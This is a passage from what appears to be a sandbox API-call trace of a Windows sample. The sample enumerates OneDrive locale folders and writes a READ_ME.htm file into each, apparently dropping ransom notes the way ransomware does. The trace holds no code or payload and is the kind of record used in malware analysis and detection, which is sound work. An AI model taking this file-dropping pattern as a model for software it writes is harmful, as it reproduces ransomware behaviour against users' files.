lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29f25b0*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az", lpFilePart=0x0) returned 0x4d [0145.291] SetErrorMode (uMode=0x1) returned 0x0 [0145.292] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\az-latn-az\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.293] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.293] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.293] SetErrorMode (uMode=0x0) returned 0x1 [0145.294] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az", lpFilePart=0x0) returned 0x4d [0145.294] SetErrorMode (uMode=0x1) returned 0x0 [0145.294] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\az-latn-az\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.294] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb6f7ff0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.295] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeb8c1070, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeb8c1070, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.295] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.295] SetErrorMode (uMode=0x0) returned 0x1 [0145.295] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az\\READ_ME.htm", lpFilePart=0x0) returned 0x59 [0145.295] SetErrorMode (uMode=0x1) returned 0x0 [0145.295] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\az-latn-az\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\az-latn-az\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.296] GetFileType (hFile=0x1d0) returned 0x1 [0145.296] SetErrorMode (uMode=0x0) returned 0x1 [0145.296] GetFileType (hFile=0x1d0) returned 0x1 [0145.296] WriteFile (in: hFile=0x1d0, lpBuffer=0x29f8c98*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29f8c98*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.298] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be", lpFilePart=0x0) returned 0x45 [0145.298] SetErrorMode (uMode=0x1) returned 0x0 [0145.298] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\be\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.299] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.300] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.300] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.300] SetErrorMode (uMode=0x0) returned 0x1 [0145.300] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be", lpFilePart=0x0) returned 0x45 [0145.300] SetErrorMode (uMode=0x1) returned 0x0 [0145.300] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\be\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb8c1070, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.301] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xeba3de30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xeba3de30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x124a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.301] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.301] SetErrorMode (uMode=0x0) returned 0x1 [0145.302] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.302] SetErrorMode (uMode=0x1) returned 0x0 [0145.302] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\be\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\be\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.303] GetFileType (hFile=0x1d0) returned 0x1 [0145.303] SetErrorMode (uMode=0x0) returned 0x1 [0145.303] GetFileType (hFile=0x1d0) returned 0x1 [0145.303] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ff280*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x29ff280*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.304] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg", lpFilePart=0x0) returned 0x45 [0145.305] SetErrorMode (uMode=0x1) returned 0x0 [0145.305] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bg\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.320] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.320] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.320] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.321] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.321] SetErrorMode (uMode=0x0) returned 0x1 [0145.321] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg", lpFilePart=0x0) returned 0x45 [0145.322] SetErrorMode (uMode=0x1) returned 0x0 [0145.322] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bg\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeba3de30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.322] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebc2d010, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebc2d010, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12ea8, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.322] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.322] SetErrorMode (uMode=0x0) returned 0x1 [0145.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg\\READ_ME.htm", lpFilePart=0x0) returned 0x51 [0145.323] SetErrorMode (uMode=0x1) returned 0x0 [0145.323] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bg\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bg\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0145.323] GetFileType (hFile=0x1d0) returned 0x1 [0145.323] SetErrorMode (uMode=0x0) returned 0x1 [0145.324] GetFileType (hFile=0x1d0) returned 0x1 [0145.324] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a05868*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d158, lpOverlapped=0x0 | out: lpBuffer=0x2a05868*, lpNumberOfBytesWritten=0x21d158*=0x720, lpOverlapped=0x0) returned 1 [0145.325] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd", lpFilePart=0x0) returned 0x48 [0145.325] SetErrorMode (uMode=0x1) returned 0x0 [0145.326] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-bd\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0145.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 1 [0145.327] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cf00 | out: lpFindFileData=0x21cf00*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xebdf6090, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x12cb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileSync.LocalizedResources.dll.mui", cAlternateFileName="FILESY~1.MUI")) returned 0 [0145.327] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0145.328] SetErrorMode (uMode=0x0) returned 0x1 [0145.328] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd", lpFilePart=0x0) returned 0x48 [0145.328] SetErrorMode (uMode=0x1) returned 0x0 [0145.328] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\OneDrive\\17.3.4604.0120\\bn-bd\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\onedrive\\17.3.4604.0120\\bn-bd\\*"), lpFindFileData=0x21cef0 | out: lpFindFileData=0x21cef0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebc2d010, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xebdf6090, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xebdf6090, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0145.328] FindNextFileW (in: 